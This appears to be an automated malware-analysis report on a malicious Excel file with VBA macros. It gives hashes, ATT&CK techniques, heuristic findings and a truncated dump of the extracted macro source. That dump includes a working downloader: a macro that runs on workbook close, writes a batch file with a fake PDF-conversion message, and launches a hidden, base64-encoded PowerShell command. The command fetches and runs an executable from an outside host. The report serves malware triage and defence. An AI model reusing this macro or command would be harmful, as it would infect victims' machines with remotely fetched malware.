Office (OOXML) malware analysis — malicious · 3ee836a573f92231

MALICIOUS

Office (OOXML)

391.8 KB Created: 2020-01-28 19:47:00 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-11

MD5: e8d4dea2358eaaec3e25023ed15160aa SHA-1: 26880b2014bf29b37588519b31efddf48a788025 SHA-256: 3ee836a573f922317e949a5045abd47ef08362da83611b7d08688a2948fce450

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is an Excel document containing VBA macros that prompt the user to enable content. The VBA macro 'YouTube' constructs a batch file named 'Rreiifs.bat' which then executes a PowerShell command. This PowerShell command is heavily encoded but appears to download a file named 'ConsoleApp19.exe' from 'http://transfers.sh/get/hdOp8w/ConsoleApp19.exe' and save it to a path specified by environment variables, then executes it. This indicates a downloader or dropper functionality.

Heuristics 7

VBA project inside OOXML medium 2 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
PowerShell reference in VBA critical OLE_VBA_PS

PowerShell reference in VBA
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
External hyperlinks (4) low OOXML_EXTERNAL_HYPERLINKS

Document contains 4 external hyperlinks — clickable URLs are stored as external relationships. First target: https://go.microsoft.com/fwlink/?linkid=844732
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL https://go.microsoft.com/fwlink/?linkid=844732 Document hyperlink
- https://go.microsoft.com/fwlink/?linkid=844741Document hyperlink
- https://go.microsoft.com/fwlink/?linkid=844736Document hyperlink
- https://go.microsoft.com/fwlink/?linkid=844747Document hyperlink
- https://go.microsoft.com/fwlink/?linkid=844746Document hyperlink
- https://go.microsoft.com/fwlink/?linkid=844728Document hyperlink
- https://go.microsoft.com/fwlink/?linkid=844735Document hyperlink
- https://go.microsoft.com/fwlink/?linkid=844725Document hyperlink
- https://go.microsoft.com/fwlink/?linkid=844738Document hyperlink
- https://go.microsoft.com/fwlink/?linkid=844749Document hyperlink
- http://go.microsoft.com/fwlink/?LinkId=846285Document hyperlink
- https://go.microsoft.com/fwlink/?linkid=844745Document hyperlink
- https://go.microsoft.com/fwlink/?linkid=844751Document hyperlink
- https://go.microsoft.com/fwlink/?linkid=844743Document hyperlink
- https://go.microsoft.com/fwlink/?linkid=844750Document hyperlink
- https://go.microsoft.com/fwlink/?linkid=844726Document hyperlink
- https://go.microsoft.com/fwlink/?linkid=844742Document hyperlink
- https://go.microsoft.com/fwlink/?linkid=844734Document hyperlink
- http://go.microsoft.com/fwlink/?LinkId=844969Document hyperlink

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	5278 bytes
SHA-256: `8daba24a53ab9e96e9a1000978dc0bbb39baa953e2aebec591f8da713bcc0081`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_BeforeClose(Cancel As Boolean) On Error Resume Next YouTube End Sub Private Sub YouTube() On Error Resume Next Dim i As Double Dim sBatchFile As String ActiveWorkbook.Save sBatchFile = "Rreiifs.bat" Open sBatchFile For Output As #1 Print #1, "@ECHO OFF" Print #1, "ECHO Converting Excel Files to PDF, Please wait..." Print #1, "start /MIN C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBOAHQAeQBhAG8AYQBsAHIALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcABzADoALwAvAHQAcgBhAG4AcwBmAGUAcgAuAHMAaAAvAGcAZQB0AC8AaABkAE8AcAA4AHcALwBDAG8AbgBzAG8AbABlAEEAcABwADEAOQAuAGUAeABlACIALAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA=" Close #1 i = Shell(sBatchFile, vbHide) End Sub Attribute VB_Name = "Start" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "1. Add" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "2. Fill" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "3. Split" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "4. Transpose" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "5. Sort & filter" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "6. Tables" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "7. Drop-downs" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "8. Analyze" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "9. Charts" Attribu ... (truncated)
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	10240 bytes
SHA-256: `6d338285a842c29b007faca9f539400e071a8c7df182cf2c5cf10385739043d0`

Open this report in the interactive analyzer, or submit your own file for analysis.